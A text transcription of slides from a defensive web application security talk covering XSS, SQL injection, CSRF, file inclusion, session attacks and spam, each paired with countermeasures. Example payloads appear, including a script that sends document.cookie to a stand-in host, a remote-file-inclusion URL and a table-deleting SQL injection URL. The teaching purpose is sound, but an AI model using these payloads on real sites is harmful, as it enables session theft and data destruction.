Web Application Security Bootcamp. Christian Wenz <chw@hauser-wenz.de>



Similar documents
Intrusion detection for web applications

Web-Application Security

Check list for web developers

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Magento Security and Vulnerabilities. Roman Stepanov

Ruby on Rails Secure Coding Recommendations

Where every interaction matters.

Web application security

Cross Site Scripting in Joomla Acajoom Component

Security Testing with Selenium

What is Web Security? Motivation

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Criteria for web application security check. Version

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Web Application Security Guidelines for Hosting Dynamic Websites on NIC Servers

(WAPT) Web Application Penetration Testing

Application Security Testing. Generic Test Strategy

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Last update: February 23, 2004

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

Testing the OWASP Top 10 Security Issues

Enterprise Application Security Workshop Series

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

Web Application Security Considerations

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Web Application Security

Application security testing: Protecting your application and data

Chapter 1 Web Application (In)security 1

Still Aren't Doing. Frank Kim

The Top Web Application Attacks: Are you vulnerable?

Webapps Vulnerability Report

Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

OWASP TOP 10 ILIA

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Project 2: Web Security Pitfalls

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Network Security Exercise #8

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Web Application Security Assessment and Vulnerability Mitigation Tests

Security features of ZK Framework

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Lecture 11 Web Application Security (part 1)

Hacking de aplicaciones Web

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

Annual Web Application Security Report 2011

Security vulnerabilities in new web applications. Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant

Web Application Security

Columbia University Web Security Standards and Practices. Objective and Scope

WEB ATTACKS AND COUNTERMEASURES

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Hack Proof Your Webapps

WebCruiser Web Vulnerability Scanner User Guide

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Introduction:... 1 Security in SDLC:... 2 Penetration Testing Methodology: Case Study... 3

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Web Application Guidelines

Perl In Secure Web Development

How To Understand The History Of The Web (Web)

HTTPParameter Pollution. ChrysostomosDaniel

Lecture 15 - Web Security

Sitefinity Security and Best Practices

Architectural Design Patterns. Design and Use Cases for OWASP. Wei Zhang & Marco Morana OWASP Cincinnati, U.S.A.

Web Security Testing Cookbook*

Common Security Vulnerabilities in Online Payment Systems

Securing your Web application

STOPPING LAYER 7 ATTACKS with F5 ASM. Sven Müller Security Solution Architect

Penetration Test Report

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

DOS ATTACKS USING SQL WILDCARDS

Rational AppScan & Ounce Products

Sichere Software- Entwicklung für Java Entwickler

WEB APPLICATION SECURITY

Essential IT Security Testing

ASL IT Security Advanced Web Exploitation Kung Fu V2.0

2010: and still bruteforcing

CS 161 Computer Security

Web Application Penetration Testing

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

Web Security Threat Report: January April Ryan C. Barnett WASC Member Project Lead: Distributed Open Proxy Honeypots

Kentico CMS security facts

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Client logo placeholder XXX REPORT. Page 1 of 37

Transcription:

Web Application Security Bootcamp Christian Wenz <chw@hauser-wenz.de> 0

Agenda 1. Why? 2. How? (well-known attacks) 3. How? (not-so-well-known attacks) 1

Agenda 1. Why? 2. How? (well-known attacks) 3. How? (not-so-well-known attacks) 2

Web Security Western European revenue for the security software market reached almost $2.5 billion in 2003. [IDC04] Large amounts of money are spent to fight spyware, malware, DDoS,...... but... 3

The Problem Lazy programmers are much more effective Mostly independent on the technology used! The "Outlaw group" fine-tuned a page on Microsoft.com with a really common attack (ww.microsoft.com/spress/uk) This happened less than a year ago (May 2004) [ZoneH04] 4

Further Victims T-Com: A lot of bugs [Heise04a] TV expert Huth [Heise04b] Various OSS, including Gallery, PhpBB, PostNuke, Serendipity, phpmyadmin,... 5

Are PHP/Python/Perl/ insecure? That depends Most of the following weaknesses do not depend on the software. So the problem is *not* PHP/ASP.NET/..., but the self-proclaimed great programmer classical PEBKAC 6

OWASP Known Weaknesses The Open Web Application Security Project 2004 Top Ten List [OWASP04]: 1. [Lazy Programmer] 2. [Lazy Programmer] 9. DoS 10. Configuration issues 7

What to do? Our Goal That's simple: No lazy programming Well dumb questions deserve dumb answers A better approach: Learn to think how the enemy thinks. 8

Structure of this talk First: Bad code Second: Exploiting the bad code Third: Countermeasures No website is 100% secure, but getting to know the enemy is the first step towards that. 9

Agenda 1. Why? 2. How? (well-known attacks) 3. How? (not-so-well-known attacks) 10

Unchecked Input Problem: User input is not validated Scenario: Guestbook. Users enter Text ein, which is sent to the client verbatim Attacks: HTML markup Very long words 11

Unchecked Input (2) Countermeasures: All Input Is Evil. [Howard] Validate *all* input Your webserver is the safe zone, everyhing else is the unsafe zone. Everything that crosses the border must be checked Use htmlspecialchars() before sending dynamic content to the browser 12

Do we have a problem? Conference tool if (user_is_authenticated()) { show_edit_form($_get['id']); } 13

Cross Site Request Forgeries Problem: Our URLs tell for themselves, so no additional authentication necessary. Scenario: Newsboard with role system. A user only sees the admin links that relate to his role Attack: Create URLs manually 14

Cross Site Request Forgeries (2) Countermeasures: Avoid parameters, if possible Might be better for Google & Friends. Try to use sessions for data Expect the worst case: All data is manipulated Check authorization Sanity checks 15

PaFileDB Do we have a problem?... function jumpmenu($db, $pageurl,$pafiledb_sql,$str) { echo("<form name=\"form1\"> <select name=\"menu1\" onchange=\"mm_jumpmenu('parent',this,0)\" class=\"forminput\"> <option value=\"$pageurl\" selected>$str[jump]</option> <option value=\"$pageurl\">---------</option>"); 16

XSS (Cross Site Scripting) Problem: (Dangerous) script code is embedded into the output of a serverside script. Is then executed in the context of the page Scenario: Guestbook, again Attacks: location.replace("http://badsite.xy/"); (new Image()).src="http://bad.xy/i.php?" + escape(document.cookie); 17

XSS (Cross Site Scripting) (2) Countermeasures: Same procedure as every year: Validate, validate, validate... Validate data htmlspecialchars() Further/special checks for email addresses, numeric values,... 18

XSS (Cross Site Scripting) (3) Why does XSS still exist? User Experience vs. Security Not all HTML shall be filtered However most approaches are flawed. Filter <script... Filter javascript: BBCode Any other ideas? 19

Do we have a problem? phpbb $sql = "SELECT * FROM ". NOTES_TABLE. "WHERE post_id = ".$post_id. "AND poster_id = ". $userdata['user_id']. " "; if (!$result = $db->sql_query($sql)) {... } 20

SQL Injection Problem: User input is embedded into SQL queries Scenario: CMS (Content Management System). The ID of an entry is passed in the URL: $sql = "SELECT * FROM news WHERE id=". $_GET["id"] Attacks: xyz.php?id=1%27%3bdelete+*+from+news 21

SQL Injection (2) Counter measures: Once aagain: Validate all data Filter special characters (', [, ], %, _, ) Use parametrised queries (depending on the database extension used) Stored Procedures SPs do not make the number of potential mistakes smaller, but only the number of potential programmers that could mess it up. 22

SQL Injection (3) Escaping special character Depends on the database system Sometimes, a backslash will do INSERT INTO fastfood (name, mascot) VALUES ('McDonald\'s', 'Ronald') Sometimes doubling the quotes will do INSERT INTO fastfood (name, mascot) VALUES ('McDonald''s', 'Ronald') 23

SQL Injection (5) Prepared statements Faster More secure PHP Example: $stmt = mysqli_prepare($db, 'INSERT INTO fastfood (name, mascot) VALUES (?,?)'); mysqli_stmt_bind_param($stmt, 'ss', $mcd, $ronald); mysqli_stmt_execute($stmt); 24

Do we have a problem? Jack's FormMail.php if (file_exists($ar_file)) { $fd = fopen($ar_file, "rb"); $ar_message = fread($fd, filesize($ar_file)); fclose($fd); mail_it($ar_message, ($ar_subject)?stripslashes($ar_subject): "RE: Form Submission", ($ar_from)?$ar_from:$recipient, $email); } PHProjekt include_once("$lib_path/access_form.inc.php"); 25

File System Vulnerabilities Problem: User input is part of a filename that will be used Scenario: CMS (Content Management System). The name of the template is passed via URL: include $_GET['template']. '.tmpl'; Attacks: cms.php?template=http://bad.xy/3733+.php 26

File System Vulnerabilities (2) Countermeasures: Sanitize file names 27

Agenda 1. Why? 2. How? (well-known attacks) 3. How? (not-so-well-known attacks) 28

Session Fixation Problem: A Session is created and then sent to a user Scenario: Websites that protect sensitive data via sessions, e.g. Webmail Attack: xyz.php?phpsessid=abc0815 29

Countermeasures: Session Fixation (2) If possible, change session ID (in PHP: session_regenerate_id()) when A session is initialized When a user is about to log in Creates a new, real Session-ID 30

Session Hijacking Problem: The session of the victim is hijacked Scenario: As before, e.g. Webmail Attacks: Send me the link, please Send the link, then look up HTTP_REFERER Guess (promising only when combined with session fixation) 31

Countermeasures: Session Hijacking (2) Many approaches, none is optimal Tie session to IP address Use data from HTTP header for authentication Set a session timeout. Require extra login before risky operations (like ordering) 32

Forged cookies Problem: Cookies are more secure than sessions, because the latter can be forged not true. Cookies are sent as a part of the HTTP header, so they are (relatively) easy to forge Scenario: Website authenticates users, saves this information in a Cookie Attack: Forge cookie (if value is static or easy to guess) 33

Forged cookies (2) Countermeasures: Encrypt data in cookies Never send unencrypted, simple data in cookies( loggedin=true very bad idea) User dynamic data in cookies verwenden (e.g. session ID), never a static value 34

Mail scripts Problem: Mail scripts are abused to send spam. Scenario: Feedback form Attacks: Recipient's email address in a hidden form field is not hidden at all. Potential DoS by repeatedly calling the script. 35

Mail scripts (2) Countermeasures: Only humans may send the form Never accept recipient's addresses from the client (or: use a whitelist) CAPTCHAs (Turing tests) against automatic form submission [vonahn03] Solve accessibility issues with other means, for instance with audio CAPTCHAs 36

New problem: HTTP Response Splitting What s wrong with this code? print "Location: $url"; An attacker could include CR/LF in the request Therefore, additional headers can be set Including Cookie: name=value Many server-side technologies ignore everything after \r\n 37 37

New solution: Get rid of CR/LF! Try to split the input on \n or \r\n, then only use the first line Or: Just replace LF by something else Especially important if you write the HTTP headers yourself, without the help of the server-side technology 38 38

New problem: XPath Injection Problem: Custom commands get embedded into an XPath query Very dangerous if this XPath query is used to authenticate users Again, blind injection attacks possible 39 39

New solution: Filter/escape Check the data embedded into the query Dangerous characters: ', " The more complex a technology gets, the easier it is to overlook something 40 40

New Problem: RegEx Injection Problem: e modifier in regular expressions Extremely dangerous if user-supplied data is embedded in this regular expression Arbitrary code execution may be necessary Whitepaper: http://hauser-wenz.de/playground/papers/ RegExInjection.pdf 41 41

New Solution: Validate/Escape Check the data embedded into the query Dangerous characters: $, ', " Try to avoid the e modifier 42 42

New problem: Trackback spamming Problem: Spammers create trackbacks to weblogs to get their URL mentioned and therefore increasing their Google PageRank Trackback API is very simple POST http://victim.tld/trackback?id=0815 Content-type: application/x-www-form-urlencoded title=buy+stuff&url=http://spammer.tld/&excerpt =Buy+my+stuff&blog_name=Spamblog 43 43

New solution: Trace trackbacks Ban/block IPs Use a dynamic blacklist of IPs/URLs Create list of bad words Rename trackback script and disable autodiscovery Close trackbacks for older entries 44 44

New problem: Comment spamming Problem: Spammers (automatically) post comments to weblogs to get their URL mentioned and therefore increasing their Google PageRank Also works with feedback forms and send-a-friend features of websites 45 45

New solution: Check comments Block IP addresses Moderate comments Close older entries for comments Rename comment script URL Check HTTP_REFERER 46 46

CAPTCHAs Completely Automated Turing Test to Tell Computers and Humans Apart Turing test: Is there a man or a machine at the other end of the wire. Is used more and more in the web. Yahoo! was one of the early adaptors 47

Graphical CAPTCHAs Important rule: Source code is open Most of the time, a graphic with some characters on it How? DIY (GD2,...) Use existing solutions 48

Screen Scraping Problem: Website is loaded with wget and then processed [HauWe01] Scenario: Current list of the least expensive gas stations Attack: wget + RegEx 49

Screen Scraping (2) Countermeasures: Validate human beings :-) CAPTCHAs, again However horny users are an effective helper for attackers to overcome this. 50

Crack CAPTCHAs What six letter word is worse than bad and lazy programmers? Libido 51

Conclusion The problem is always the same evil input is not sanitized, validated or fixed The entry points of the data varies between attack types Better paranoid than offline 52

Sources [IDC04] IDC-Press Release (http://www.idc.com/getdoc.jsp?containerid=pr200 4_04_22_210409) [HauWe01] Hauser, Wenz in c t (17/2001), S. 190-192 [Heise04a] http://www.heise.de/newsticker/meldung/49424 [Heise04b] http://www.heise.de/newsticker/meldung/49255 [Howard03] Howard, LeBlanc, Writing Secure Code, 2nd Edition, MS Press 2003 53

Sources (2) [OWASP04] OWASP. The Open Web Application Security Project. http://ww.owasp.org. [vonahn03] von Ahn, Blum, Hopper and Langford. CAPTCHA: Using Hard AI Problems for Security. Eurocrypt 2003. [ZoneH04] MS Defacement (http://oneh.orgen/ewseadid=4251/) 54

Thank You! Questions? http://www.hauser-wenz.de/ http://www.hauser-wenz.de/blog/ http://javascript.phrasebook.org/ http://php.phrasebook.org/ 55 55